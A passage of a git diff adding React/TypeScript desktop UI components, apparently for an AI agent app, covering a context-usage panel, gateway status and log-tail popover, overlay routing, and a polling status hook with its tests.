index 000000000..10b85be0d
--- /dev/null
+++ b/ui-desktop/src/app/shell/context-usage-panel.tsx
@@ -0,0 +1,147 @@
+import { useEffect, useMemo, useRef, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { compactNumber } from '@/lib/format'
+import { cn } from '@/lib/utils'
+import type { ContextBreakdown, ContextUsageCategory, UsageStats } from '@/types/clawcodex'
+
+interface ContextUsagePanelProps {
+  currentUsage: UsageStats
+  onUsageSnapshot?: (usage: Pick<UsageStats, 'context_max' | 'context_percent' | 'context_used'>) => void
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+  sessionId: string | null
+}
+
+export function ContextUsagePanel({
+  currentUsage,
+  onUsageSnapshot,
+  requestGateway,
+  sessionId
+}: ContextUsagePanelProps) {
+  const { t } = useI18n()
+  const copy = t.shell.statusbar.contextUsagePanel
+  const [breakdown, setBreakdown] = useState<ContextBreakdown | null>(null)
+  const [loading, setLoading] = useState(false)
+  const onUsageSnapshotRef = useRef(onUsageSnapshot)
+  onUsageSnapshotRef.current = onUsageSnapshot
+
+  useEffect(() => {
+    if (!sessionId) {
+      setBreakdown(null)
+      setLoading(false)
+
+      return
+    }
+
+    let cancelled = false
+    setLoading(true)
+
+    void requestGateway<ContextBreakdown>('session.context_breakdown', { session_id: sessionId })
+      .then(data => {
+        if (!cancelled) {
+          setBreakdown(data)
+          onUsageSnapshotRef.current?.({
+            context_max: data.context_max,
+            context_percent: data.context_percent,
+            context_used: data.context_used
+          })
+        }
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setBreakdown(null)
+        }
+      })
+      .finally(() => {
+        if (!cancelled) {
+          setLoading(false)
+        }
+      })
+
+    return () => {
+      cancelled = true
+    }
+  }, [requestGateway, sessionId])
+
+  const contextMax = breakdown?.context_max ?? currentUsage.context_max ?? 0
+  const contextUsed = breakdown?.context_used ?? currentUsage.context_used ?? 0
+
+  const contextPercent = Math.max(
+    0,
+    Math.min(100, Math.round(breakdown?.context_percent ?? currentUsage.context_percent ?? 0))
+  )
+
+  const categories = useMemo(
+    () =>
+      (breakdown?.categories ?? []).map(category => ({
+        ...category,
+        label: copy.categories[category.id as keyof typeof copy.categories] ?? category.label
+      })),
+    [breakdown?.categories, copy]
+  )
+
+  const segmentTotal = categories.reduce((sum, category) => sum + category.tokens, 0) || contextUsed || 1
+
+  return (
+    <div className="flex w-72 flex-col gap-3 p-3 text-[0.75rem]" data-slot="context-usage-panel">
+      <div className="flex items-baseline justify-between gap-2">
+        <p className="font-medium text-foreground">{copy.title}</p>
+
+        <span className="text-[0.6875rem] text-muted-foreground">
+          {copy.tokenSummary(`~${compactNumber(contextUsed)}`, compactNumber(contextMax))}
+        </span>
+      </div>
+
+      <p className="text-[0.6875rem] text-foreground">{copy.percentFull(contextPercent)}</p>
+
+      <ContextUsageBar categories={categories} segmentTotal={segmentTotal} />
+
+      <ul className="flex flex-col gap-1.5">
+        {categories.map(category => (
+          <li className="flex items-center justify-between gap-2" key={category.id}>
+            <span className="flex min-w-0 items-center gap-2">
+              <span className="size-2 shrink-0 rounded-[2px]" style={{ background: category.color }} />
+
+              <span className="truncate text-muted-foreground">{category.label}</span>
+            </span>
+
+            <span className="shrink-0 tabular-nums text-foreground">{compactNumber(category.tokens)}</span>
+          </li>
+        ))}
+      </ul>
+
+      {loading && <p className="text-[0.6875rem] text-muted-foreground">{copy.loading}</p>}
+
+      {!loading && !categories.length && <p className="text-[0.6875rem] text-muted-foreground">{copy.empty}</p>}
+    </div>
+  )
+}
+
+function ContextUsageBar({
+  categories,
+  segmentTotal
+}: {
+  categories: readonly ContextUsageCategory[]
+  segmentTotal: number
+}) {
+  return (
+    <div
+      className={cn(
+        'flex h-1.5 overflow-hidden rounded-full',
+        categories.length ? 'bg-(--ui-stroke-tertiary)' : 'dither bg-(--ui-bg-elevated)'
+      )}
+      data-slot="context-usage-bar"
+    >
+      {categories.map(category => (
+        <span
+          className="h-full min-w-px"
+          key={category.id}
+          style={{
+            background: category.color,
+            width: `${(category.tokens / segmentTotal) * 100}%`
+          }}
+        />
+      ))}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/shell/gateway-menu-panel.tsx b/ui-desktop/src/app/shell/gateway-menu-panel.tsx
new file mode 100644
index 000000000..f397016aa
--- /dev/null
+++ b/ui-desktop/src/app/shell/gateway-menu-panel.tsx
@@ -0,0 +1,239 @@
+import { type ReactNode, useEffect, useRef, useState } from 'react'
+
+import { getLogs } from '@/clawcodex'
+import { StatusDot, type StatusTone } from '@/components/status-dot'
+import { Button } from '@/components/ui/button'
+import { LogView } from '@/components/ui/log-view'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { LayoutDashboard, RefreshCw } from '@/lib/icons'
+import type { RuntimeReadinessResult } from '@/lib/runtime-readiness'
+import { cn } from '@/lib/utils'
+import { runGatewayRestart } from '@/store/system-actions'
+import type { StatusResponse } from '@/types/clawcodex'
+
+interface GatewayMenuPanelProps {
+  gatewayState: string
+  inferenceStatus: RuntimeReadinessResult | null
+  onClose: () => void
+  onOpenSystem: () => void
+  statusSnapshot: StatusResponse | null
+}
+
+const LOG_TAIL = 120
+const LOG_VISIBLE = 40
+const LOG_POLL_MS = 3_000
+
+// Per-connection WebSocket churn (accept/close/heartbeat) drowns out anything
+// useful — strip it so the tail reads as real gateway activity at a glance.
+const LOG_NOISE_RE = /\bws (?:accepted|closed|response sent|ping|pong)\b/i
+
+// Live tail while the popover is mounted (i.e. open): poll on a tight cadence
+// and stop on unmount, instead of a global always-on status poll.
+function useGatewayLogTail(): string[] {
+  const [lines, setLines] = useState<string[]>([])
+
+  useEffect(() => {
+    let cancelled = false
+
+    // async: getLogs THROWS (not rejects) when the desktop bridge is missing
+    // (plain-browser mode) — a sync throw here would take down the root
+    // error boundary before the .catch even attaches.
+    const load = async () => {
+      try {
+        const res = await getLogs({ file: 'gui', lines: LOG_TAIL })
+
+        if (cancelled) {
+          return
+        }
+
+        setLines(
+          res.lines
+            .map(line => line.trim())
+            .filter(line => line && !LOG_NOISE_RE.test(line))
+            .slice(-LOG_VISIBLE)
+        )
+      } catch {
+        // Bridge/gateway unavailable — keep the last tail.
+      }
+    }
+
+    void load()
+    const timer = window.setInterval(load, LOG_POLL_MS)
+
+    return () => {
+      cancelled = true
+      window.clearInterval(timer)
+    }
+  }, [])
+
+  return lines
+}
+
+const PLATFORM_TONE: Record<string, StatusTone> = {
+  connected: 'good',
+  connecting: 'warn',
+  retrying: 'warn',
+  pending_restart: 'warn',
+  startup_failed: 'bad',
+  fatal: 'bad'
+}
+
+const prettyState = (state: string) => state.replace(/_/g, ' ').replace(/^./, c => c.toUpperCase())
+
+// Strip leading "YYYY-MM-DD HH:MM:SS,mmm " and "[runtime_id] " prefixes from
+// log lines so they don't dominate the display. Full text preserved on hover.
+const TIMESTAMP_RE = /^\d{4}-\d{2}-\d{2}[ T]\d{2}:\d{2}:\d{2}[,.\d]*\s+/
+const RUNTIME_BRACKET_RE = /^\[[^\]]+]\s+/
+const trimLogLine = (raw: string) => raw.trim().replace(TIMESTAMP_RE, '').replace(RUNTIME_BRACKET_RE, '')
+
+export function GatewayMenuPanel({
+  gatewayState,
+  inferenceStatus,
+  onClose,
+  onOpenSystem,
+  statusSnapshot
+}: GatewayMenuPanelProps) {
+  const { t } = useI18n()
+  const copy = t.shell.gatewayMenu
+
+  // Both jumps open the system panel, which owns the full view — so dismiss the
+  // little status popover on the way out.
+  const openSystem = () => {
+    onClose()
+    onOpenSystem()
+  }
+
+  // Shared restart helper: never rejects and surfaces progress in the statusbar
+  // gateway indicator, so just fire and close.
+  const restart = () => {
+    onClose()
+    void runGatewayRestart()
+  }
+
+  const gatewayOpen = gatewayState === 'open'
+  const gatewayConnecting = gatewayState === 'connecting'
+  const inferenceReady = gatewayOpen && inferenceStatus?.ready === true
+
+  const connectionLabel = gatewayOpen
+    ? copy.connected
+    : gatewayConnecting
+      ? copy.connecting
+      : prettyState(gatewayState || copy.offline)
+
+  const inferenceLabel = gatewayOpen
+    ? inferenceStatus?.ready
+      ? copy.inferenceReady
+      : inferenceStatus
+        ? copy.inferenceNotReady
+        : copy.checkingInference
+    : copy.disconnected
+
+  const platforms = Object.entries(statusSnapshot?.gateway_platforms || {}).sort(([l], [r]) => l.localeCompare(r))
+  const recentLogs = useGatewayLogTail()
+
+  // Keep the tail pinned to the latest line as it streams.
+  const logScrollRef = useRef<HTMLDivElement>(null)
+
+  useEffect(() => {
+    const el = logScrollRef.current
+
+    if (el) {
+      el.scrollTop = el.scrollHeight
+    }
+  }, [recentLogs])
+
+  return (
+    <div className="text-sm">
+      <div className="flex items-center justify-between gap-3 px-3 py-2">
+        <div className="flex min-w-0 flex-col gap-1 text-[0.7rem] leading-none">
+          <span className="flex items-center gap-1.5 font-medium">
+            <StatusDot tone={gatewayOpen ? 'good' : gatewayConnecting ? 'warn' : 'bad'} />
+            {connectionLabel}
+          </span>
+          <span className="flex items-center gap-1.5 text-muted-foreground">
+            <StatusDot tone={inferenceReady ? 'good' : gatewayOpen ? 'warn' : 'bad'} />
+            {inferenceLabel}
+          </span>
+        </div>
+        <div className="flex shrink-0 items-center gap-0.5">
+          <Tip label={t.commandCenter.restartGateway}>
+            <Button
+              aria-label={t.commandCenter.restartGateway}
+              className="text-muted-foreground hover:text-foreground"
+              onClick={restart}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <RefreshCw />
+            </Button>
+          </Tip>
+          <Tip label={copy.openSystem}>
+            <Button
+              aria-label={copy.openSystem}
+              className="text-muted-foreground hover:text-foreground"
+              onClick={openSystem}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <LayoutDashboard />
+            </Button>
+          </Tip>
+        </div>
+      </div>
+
+      {inferenceStatus?.reason && (
+        <Section className="text-xs text-muted-foreground">
+          <div className="line-clamp-3">{inferenceStatus.reason}</div>
+        </Section>
+      )}
+
+      {recentLogs.length > 0 && (
+        <Section>
+          <div className="flex items-center justify-between gap-2">
+            <SectionLabel>{copy.recentActivity}</SectionLabel>
+            <Button
+              className="-mr-2 h-auto py-0 font-medium leading-none text-muted-foreground"
+              onClick={openSystem}
+              size="xs"
+              type="button"
+              variant="text"
+            >
+              {copy.viewAllLogs}
+            </Button>
+          </div>
+          <LogView className="mt-1.5 max-h-40 border-0 px-0" ref={logScrollRef}>
+            {recentLogs.map(trimLogLine).join('\n')}
+          </LogView>
+        </Section>
+      )}
+
+      {platforms.length > 0 && (
+        <Section>
+          <SectionLabel>{copy.messagingPlatforms}</SectionLabel>
+          <ul className="mt-1.5 space-y-1">
+            {platforms.map(([name, platform]) => (
+              <li className="flex items-center justify-between gap-2 text-xs" key={name}>
+                <span className="truncate capitalize">{name}</span>
+                <span className="flex items-center gap-1.5 text-[0.66rem] text-muted-foreground">
+                  <StatusDot tone={PLATFORM_TONE[platform.state] || 'muted'} />
+                  {prettyState(platform.state)}
+                </span>
+              </li>
+            ))}
+          </ul>
+        </Section>
+      )}
+    </div>
+  )
+}
+
+function Section({ children, className }: { children: ReactNode; className?: string }) {
+  return <div className={cn('border-t border-border/50 px-3 py-2', className)}>{children}</div>
+}
+
+function SectionLabel({ children }: { children: string }) {
+  return (
+    <div className="text-[0.62rem] font-semibold uppercase tracking-[0.14em] text-muted-foreground/80">{children}</div>
+  )
+}
diff --git a/ui-desktop/src/app/shell/group-setter.ts b/ui-desktop/src/app/shell/group-setter.ts
new file mode 100644
index 000000000..b0f212f15
--- /dev/null
+++ b/ui-desktop/src/app/shell/group-setter.ts
@@ -0,0 +1,6 @@
+// The `GroupSetter` shape pages take as an extension-point prop (SkillsView,
+// MessagingView, ChatPreviewRail, …). The live implementation is the
+// registry-backed `registryGroupSetter` in app/contrib/panes.tsx.
+type Side = 'left' | 'right'
+
+export type GroupSetter<T> = (id: string, items: readonly T[], side?: Side) => void
diff --git a/ui-desktop/src/app/shell/hooks/use-overlay-routing.ts b/ui-desktop/src/app/shell/hooks/use-overlay-routing.ts
new file mode 100644
index 000000000..594e1eae9
--- /dev/null
+++ b/ui-desktop/src/app/shell/hooks/use-overlay-routing.ts
@@ -0,0 +1,90 @@
+import { useCallback, useEffect, useMemo, useRef } from 'react'
+import { useLocation, useNavigate } from 'react-router'
+
+import { type CommandCenterSection } from '@/app/command-center'
+import {
+  AGENTS_ROUTE,
+  appViewForPath,
+  COMMAND_CENTER_ROUTE,
+  isOverlayView,
+  NEW_CHAT_ROUTE,
+  STARMAP_ROUTE
+} from '@/app/routes'
+
+const SECTIONS = ['sessions', 'system', 'usage'] as const
+
+export function useOverlayRouting() {
+  const location = useLocation()
+  const navigate = useNavigate()
+
+  const currentView = appViewForPath(location.pathname)
+  const settingsOpen = currentView === 'settings'
+  const commandCenterOpen = currentView === 'command-center'
+  const agentsOpen = currentView === 'agents'
+  const starmapOpen = currentView === 'starmap'
+  const cronOpen = currentView === 'cron'
+  const profilesOpen = currentView === 'profiles'
+  const webhooksOpen = currentView === 'webhooks'
+  const chatOpen = currentView === 'chat'
+  const overlayOpen = isOverlayView(currentView)
+
+  // Overlay routes (settings/command-center/agents) stash the underlying path
+  // so closing them returns there instead of bouncing to /.
+  const returnPathRef = useRef(NEW_CHAT_ROUTE)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!overlayOpen) {
+      returnPathRef.current = `${location.pathname}${location.search}${location.hash}`
+    }
+  }, [location.hash, location.pathname, location.search, overlayOpen])
+
+  const commandCenterInitialSection = useMemo<CommandCenterSection | undefined>(
+    () => SECTIONS.find(value => value === new URLSearchParams(location.search).get('section')),
+    [location.search]
+  )
+
+  const openCommandCenterSection = useCallback(
+    (section: CommandCenterSection) => navigate(`${COMMAND_CENTER_ROUTE}?section=${section}`),
+    [navigate]
+  )
+
+  const resetOverlayReturnRoute = useCallback(() => {
+    returnPathRef.current = NEW_CHAT_ROUTE
+  }, [])
+
+  const closeOverlayToPreviousRoute = useCallback(
+    () => navigate(returnPathRef.current || NEW_CHAT_ROUTE, { replace: true }),
+    [navigate]
+  )
+
+  const toggleCommandCenter = useCallback(() => {
+    if (commandCenterOpen) {
+      closeOverlayToPreviousRoute()
+    } else {
+      navigate(COMMAND_CENTER_ROUTE)
+    }
+  }, [closeOverlayToPreviousRoute, commandCenterOpen, navigate])
+
+  const openAgents = useCallback(() => navigate(AGENTS_ROUTE), [navigate])
+  const openStarmap = useCallback(() => navigate(STARMAP_ROUTE), [navigate])
+
+  return {
+    agentsOpen,
+    chatOpen,
+    closeOverlayToPreviousRoute,
+    commandCenterInitialSection,
+    commandCenterOpen,
+    cronOpen,
+    currentView,
+    openAgents,
+    openCommandCenterSection,
+    openStarmap,
+    profilesOpen,
+    resetOverlayReturnRoute,
+    settingsOpen,
+    starmapOpen,
+    toggleCommandCenter,
+    webhooksOpen
+  }
+}
diff --git a/ui-desktop/src/app/shell/hooks/use-status-snapshot.test.ts b/ui-desktop/src/app/shell/hooks/use-status-snapshot.test.ts
new file mode 100644
index 000000000..5a0016557
--- /dev/null
+++ b/ui-desktop/src/app/shell/hooks/use-status-snapshot.test.ts
@@ -0,0 +1,170 @@
+import { act, cleanup, renderHook } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { getStatus } from '@/clawcodex'
+
+import { useStatusSnapshot } from './use-status-snapshot'
+
+vi.mock('@/clawcodex', () => ({
+  getStatus: vi.fn()
+}))
+
+type GatewayRequester = <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+
+function deferred<T>() {
+  let resolve: (value: T) => void = () => undefined
+  let reject: (reason?: unknown) => void = () => undefined
+
+  const promise = new Promise<T>((nextResolve, nextReject) => {
+    resolve = nextResolve
+    reject = nextReject
+  })
+
+  return { promise, reject, resolve }
+}
+
+async function flushAsync() {
+  await act(async () => {
+    await vi.advanceTimersByTimeAsync(0)
+  })
+}
+
+beforeEach(() => {
+  vi.useFakeTimers()
+  vi.mocked(getStatus)
+    .mockReset()
+    .mockResolvedValue({} as never)
+})
+
+afterEach(() => {
+  cleanup()
+  vi.useRealTimers()
+})
+
+describe('useStatusSnapshot', () => {
+  it('keeps the last authoritative readiness through a transient RPC failure', async () => {
+    let refresh = 0
+
+    const requestGatewayMock = vi.fn(async (method: string) => {
+      const cycle = Math.floor(refresh / 2)
+      refresh += 1
+
+      if (cycle > 0) {
+        throw new Error(`${method} timed out`)
+      }
+
+      return (method === 'setup.runtime_check' ? { ok: true } : { provider_configured: true }) as never
+    })
+
+    const requestGateway = requestGatewayMock as unknown as GatewayRequester
+
+    const { result } = renderHook(() => useStatusSnapshot('open', requestGateway))
+
+    await flushAsync()
+    expect(result.current.inferenceStatus).toMatchObject({ ready: true, source: 'runtime_check' })
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(15_000)
+    })
+
+    expect(result.current.inferenceStatus).toMatchObject({ ready: true, source: 'runtime_check' })
+  })
+
+  it('does not present an initial transport failure as inference not ready', async () => {
+    const requestGatewayMock = vi.fn(async (method: string) => {
+      throw new Error(`${method} connection closed`)
+    })
+
+    const requestGateway = requestGatewayMock as unknown as GatewayRequester
+
+    const { result } = renderHook(() => useStatusSnapshot('open', requestGateway))
+
+    await flushAsync()
+
+    expect(result.current.inferenceStatus).toBeNull()
+  })
+
+  it('still publishes an authoritative runtime failure', async () => {
+    const requestGatewayMock = vi.fn(
+      async (method: string) =>
+        (method === 'setup.runtime_check'
+          ? { error: 'No usable credentials found for nous.', ok: false }
+          : { provider_configured: true }) as never
+    )
+
+    const requestGateway = requestGatewayMock as unknown as GatewayRequester
+
+    const { result } = renderHook(() => useStatusSnapshot('open', requestGateway))
+
+    await flushAsync()
+
+    expect(result.current.inferenceStatus).toMatchObject({
+      ready: false,
+      reason: expect.stringContaining('No usable credentials found for nous.'),
+      source: 'runtime_check'
+    })
+  })
+
+  it('clears readiness immediately when the gateway disconnects', async () => {
+    const pendingStatus = deferred<never>()
+
+    vi.mocked(getStatus)
+      .mockResolvedValueOnce({} as never)
+      .mockReturnValueOnce(pendingStatus.promise)
+
+    const requestGateway = vi.fn(
+      async (method: string) =>
+        (method === 'setup.runtime_check' ? { ok: true } : { provider_configured: true }) as never
+    ) as unknown as GatewayRequester
+
+    const { rerender, result } = renderHook(({ gatewayState }) => useStatusSnapshot(gatewayState, requestGateway), {
+      initialProps: { gatewayState: 'open' }
+    })
+
+    await flushAsync()
+    expect(result.current.inferenceStatus).toMatchObject({ ready: true, source: 'runtime_check' })
+
+    rerender({ gatewayState: 'connecting' })
+
+    expect(getStatus).toHaveBeenCalledTimes(2)
+    expect(result.current.inferenceStatus).toBeNull()
+  })
+
+  it('waits for a slow refresh to settle before scheduling another one', async () => {
+    const setup = deferred<unknown>()
+    const runtime = deferred<unknown>()
+
+    const requestGatewayMock = vi.fn(
+      (method: string) => (method === 'setup.runtime_check' ? runtime.promise : setup.promise) as never
+    )
+
+    const requestGateway = requestGatewayMock as unknown as GatewayRequester
+
+    renderHook(() => useStatusSnapshot('open', requestGateway))
+    await flushAsync()
+
+    expect(requestGatewayMock).toHaveBeenCalledTimes(2)
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(60_000)
+    })
+
+    expect(requestGatewayMock).toHaveBeenCalledTimes(2)
+
+    await act(async () => {
+      setup.resolve({ provider_configured: true })
+      runtime.resolve({ ok: true })
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(59_999)
+    })
+    expect(requestGatewayMock).toHaveBeenCalledTimes(2)
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(1)
+    })
+    expect(requestGatewayMock).toHaveBeenCalledTimes(4)
+  })
+})
diff --git a/ui-desktop/src/app/shell/hooks/use-status-snapshot.ts b/ui-desktop/src/app/shell/hooks/use-status-snapshot.ts
new file mode 100644
index 000000000..5b2e30da6
--- /dev/null
+++ b/ui-desktop/src/app/shell/hooks/use-status-snapshot.ts
@@ -0,0 +1,106 @@
+import { useEffect, useState } from 'react'
+
+import { getStatus } from '@/clawcodex'
+import { evaluateRuntimeReadiness, type RuntimeReadinessResult } from '@/lib/runtime-readiness'
+import type { StatusResponse } from '@/types/clawcodex'
+
+// Statusbar health is ambient chrome, not live data — nothing the user acts on
+// within seconds. 60s + a hidden-tab skip keeps it honest at a quarter of the
+// old traffic; the visibility listener refreshes immediately on return so a
+// backgrounded window never shows stale health after re-focus.
+const REFRESH_MS = 60_000
+
+type GatewayRequester = <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+
+export function useStatusSnapshot(gatewayState: string | undefined, requestGateway: GatewayRequester) {
+  const [statusSnapshot, setStatusSnapshot] = useState<StatusResponse | null>(null)
+  const [inferenceStatus, setInferenceStatus] = useState<RuntimeReadinessResult | null>(null)
+
+  useEffect(() => {
+    let cancelled = false
+    let timer: number | undefined
+
+    // A closed/connecting gateway cannot have an authoritative live-runtime
+    // result. Clear readiness before starting the REST status leg so a hung
+    // getStatus() cannot leave a stale "ready" state visible after disconnect.
+    if (gatewayState !== 'open') {
+      setInferenceStatus(null)
+    }
+
+    const scheduleRefresh = () => {
+      if (!cancelled) {
+        timer = window.setTimeout(() => void refresh(), REFRESH_MS)
+      }
+    }
+
+    const refresh = async () => {
+      // Hidden window: skip the round-trips, keep the timer alive; the
+      // visibilitychange listener repaints immediately on return.
+      if (document.visibilityState !== 'visible') {
+        scheduleRefresh()
+
+        return
+      }
+
+      try {
+        // Wait for both legs before scheduling the next refresh. setInterval
+        // allowed a slow runtime check to overlap with later polls, which
+        // multiplied load on an already-busy gateway and let stale failures
+        // race newer healthy results.
+        const [statusResult, inferenceResult] = await Promise.allSettled([
+          getStatus(),
+          gatewayState === 'open' ? evaluateRuntimeReadiness(requestGateway) : Promise.resolve(null)
+        ])
+
+        if (cancelled) {
+          return
+        }
+
+        if (statusResult.status === 'fulfilled') {
+          setStatusSnapshot(statusResult.value)
+        }
+
+        if (inferenceResult.status === 'fulfilled') {
+          const inference = inferenceResult.value
+
+          if (inference === null) {
+            setInferenceStatus(null)
+          } else if (inference.source !== 'fallback') {
+            // runtime_check/setup_status returned an authoritative boolean.
+            // A fallback means both RPCs failed or returned no boolean, so it
+            // is a transient/unknown transport state, not proof that inference
+            // became unconfigured. Keep the last authoritative result instead
+            // of flashing "Inference not ready" during a gateway flap.
+            setInferenceStatus(inference)
+          }
+        }
+      } finally {
+        scheduleRefresh()
+      }
+    }
+
+    const onVisible = () => {
+      if (document.visibilityState === 'visible' && !cancelled) {
+        if (timer !== undefined) {
+          window.clearTimeout(timer)
+        }
+
+        void refresh()
+      }
+    }
+
+    document.addEventListener('visibilitychange', onVisible)
+    void refresh()
+
+    return () => {
+      cancelled = true
+      document.removeEventListener('visibilitychange', onVisible)
+
+      if (timer !== undefined) {
+        window.clearTimeout(timer)
+      }
+    }
+  }, [gatewayState, requestGateway])
+
+  return { inferenceStatus, statusSnapshot }
+}
diff --git a/ui-desktop/src/app/shell/hooks/use-statusbar-items.tsx b/ui-desktop/src/app/shell/hooks/use-statusbar-items.tsx
new file mode 100644
index 000000000..f7dfd037e
--- /dev/null
+++ b/ui-desktop/src/app/shell/hooks/use-statusbar-items.tsx
@@ -0,0 +1,603 @@
+import { useStore } from '@nanostores/react'
+import { useCallback, useMemo } from 'react'
+
+import type { CommandCenterSection } from '@/app/command-center'
+import { useApprovalModeStatusbarItem } from '@/app/shell/approval-mode-menu'
+import { ContextUsagePanel } from '@/app/shell/context-usage-panel'
+import { GatewayMenuPanel } from '@/app/shell/gateway-menu-panel'
+import { $paneVisible, togglePaneVisible } from '@/components/pane-shell/tree/store'
+import { Codicon } from '@/components/ui/codicon'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { useI18n } from '@/i18n'
+import { displayPath, pathLeaf } from '@/lib/display-path'
+import { Activity, AlertCircle, Clock, Command, FolderOpen, Globe, Hash, Loader2, Terminal } from '@/lib/icons'
+import type { RuntimeReadinessResult } from '@/lib/runtime-readiness'
+import { contextBarLabel, LiveDuration, usageContextLabel } from '@/lib/statusbar'
+import { useStoreSelector } from '@/lib/use-session-slice'
+import { cn } from '@/lib/utils'
+import { resolveVersionStatus } from '@/lib/version-status'
+import { copyFilePath, revealFile } from '@/store/file-actions'
+import { revealFileInTree } from '@/store/layout'
+import { $activeGatewayProfile } from '@/store/profile'
+import { $projectTree, projectNameForCwd } from '@/store/projects'
+import {
+  $activeSessionId,
+  $busy,
+  $connection,
+  $currentCwd,
+  $currentUsage,
+  $selectedStoredSessionId,
+  $sessions,
+  $sessionStartedAt,
+  $turnStartedAt,
+  idsShareLineage,
+  sessionMatchesStoredId,
+  setCurrentUsage
+} from '@/store/session'
+import { $focusedRuntimeId, $focusedSessionState, $focusedStoredSessionId } from '@/store/session-states'
+import { $subagentsBySession, activeSubagentCount, failedSubagentCount } from '@/store/subagents'
+import { $gatewayRestarting } from '@/store/system-actions'
+import {
+  $backendUpdateApply,
+  $backendUpdateStatus,
+  $desktopVersion,
+  $updateApply,
+  $updateStatus,
+  openUpdateOverlayFor
+} from '@/store/updates'
+import type { StatusResponse, UsageStats } from '@/types/clawcodex'
+
+import { CRON_ROUTE, SETTINGS_ROUTE, WEBHOOKS_ROUTE } from '../../routes'
+import type { StatusbarItem } from '../statusbar-controls'
+
+const EMPTY_USAGE = { calls: 0, input: 0, output: 0, total: 0 } as const
+
+interface StatusbarItemsOptions {
+  agentsOpen: boolean
+  chatOpen: boolean
+  commandCenterOpen: boolean
+  extraLeftItems: readonly StatusbarItem[]
+  extraRightItems: readonly StatusbarItem[]
+  gatewayState: string
+  inferenceStatus: RuntimeReadinessResult | null
+  openAgents: () => void
+  openCommandCenterSection: (section: CommandCenterSection) => void
+  freshDraftReady: boolean
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+  statusSnapshot: StatusResponse | null
+  toggleCommandCenter: () => void
+}
+
+export function useStatusbarItems({
+  agentsOpen,
+  chatOpen,
+  commandCenterOpen,
+  extraLeftItems,
+  extraRightItems,
+  gatewayState,
+  inferenceStatus,
+  openAgents,
+  openCommandCenterSection,
+  requestGateway,
+  statusSnapshot,
+  toggleCommandCenter
+}: StatusbarItemsOptions) {
+  const { t } = useI18n()
+  const copy = t.shell.statusbar
+  const fileMenu = t.fileMenu
+  const primaryActiveSessionId = useStore($activeSessionId)
+  const activeGatewayProfile = useStore($activeGatewayProfile)
+  // What the button paints and flips is whether the terminal is ON SCREEN —
+  // the takeover store alone stays true behind a stacked sibling tab or a
+  // minimized zone, which lit the button for a pane the user couldn't see.
+  const terminalShowing = useStore($paneVisible('terminal'))
+  const primaryBusy = useStore($busy)
+  // Draft / primary composer atom — used only while the focused surface is the
+  // primary (or a draft with no runtime slice yet). A focused TILE keeps its
+  // own cwd in `$sessionStates` and must not paint the primary's workspace.
+  const primaryCwd = useStore($currentCwd)
+  const primaryUsage = useStore($currentUsage)
+  const gatewayRestarting = useStore($gatewayRestarting)
+  const primarySessionStartedAt = useStore($sessionStartedAt)
+  const primaryTurnStartedAt = useStore($turnStartedAt)
+
+  // The indicator must speak the same scope as the Spawn-tree panel it opens:
+  // every session's subagents, never background system actions. Only two
+  // COUNTS are read, so select scalars — a whole-map `useStore` re-ran this
+  // hook (rebuilding all ~9 statusbar items) on every subagent progress tick
+  // in ANY session, including background ones.
+  const subagentsRunning = useStoreSelector($subagentsBySession, bySession =>
+    Object.values(bySession).reduce((sum, items) => sum + activeSubagentCount(items), 0)
+  )
+
+  const subagentsFailed = useStoreSelector($subagentsBySession, bySession =>
+    Object.values(bySession).reduce((sum, items) => sum + failedSubagentCount(items), 0)
+  )
+
+  const updateStatus = useStore($updateStatus)
+  const updateApply = useStore($updateApply)
+  const backendUpdateStatus = useStore($backendUpdateStatus)
+  const backendUpdateApply = useStore($backendUpdateApply)
+  const desktopVersion = useStore($desktopVersion)
+  const connection = useStore($connection)
+
+  // The FOCUSED session (interacted tile, else the primary — the same
+  // derivation the titlebar title follows): every session-scoped readout
+  // below (workspace cwd, context count, timers, busy pulse) tracks it, so
+  // clicking into a tile makes the statusbar describe THAT session.
+  const focusedStoredSessionId = useStore($focusedStoredSessionId)
+  const focusedRuntimeId = useStore($focusedRuntimeId)
+  // `$focusedSessionState` is a projection of `$sessionStates`, which is
+  // republished on EVERY message delta — tens of times a second during a turn.
+  // Only the fields read here are selected, so an unchanged readout bails out
+  // instead of rebuilding all ~9 statusbar items per token.
+  const focusedBusy = useStoreSelector($focusedSessionState, state => Boolean(state?.busy))
+  const focusedTurnStartedAt = useStoreSelector($focusedSessionState, state => state?.turnStartedAt ?? null)
+  // `usage` is an object, so it can't be compared as a scalar. It IS however
+  // replaced wholesale rather than mutated, and only changes when the backend
+  // reports new usage — far rarer than a delta — so its reference is a valid
+  // bail-out key on its own.
+  const focusedUsage = useStoreSelector($focusedSessionState, state => state?.usage ?? null)
+  const focusedStateCwd = useStoreSelector($focusedSessionState, state => state?.cwd?.trim() || '')
+
+  // Runtime slices carry the stored id they were bound for. During a primary
+  // tab switch the runtime id can lag a frame behind the new selection — the
+  // slice still describes the PREVIOUS chat. Gate live cwd on ownership so we
+  // never paint session A's workspace while the tab already shows session B.
+  const focusedStateStoredId = useStoreSelector($focusedSessionState, state => state?.storedSessionId?.trim() || null)
+
+  const selectedStoredSessionId = useStore($selectedStoredSessionId)
+  const primaryFocused = !focusedStoredSessionId || focusedStoredSessionId === selectedStoredSessionId
+
+  const activeSessionId = primaryFocused ? primaryActiveSessionId : (focusedRuntimeId ?? null)
+  const busy = primaryFocused ? primaryBusy : focusedBusy
+
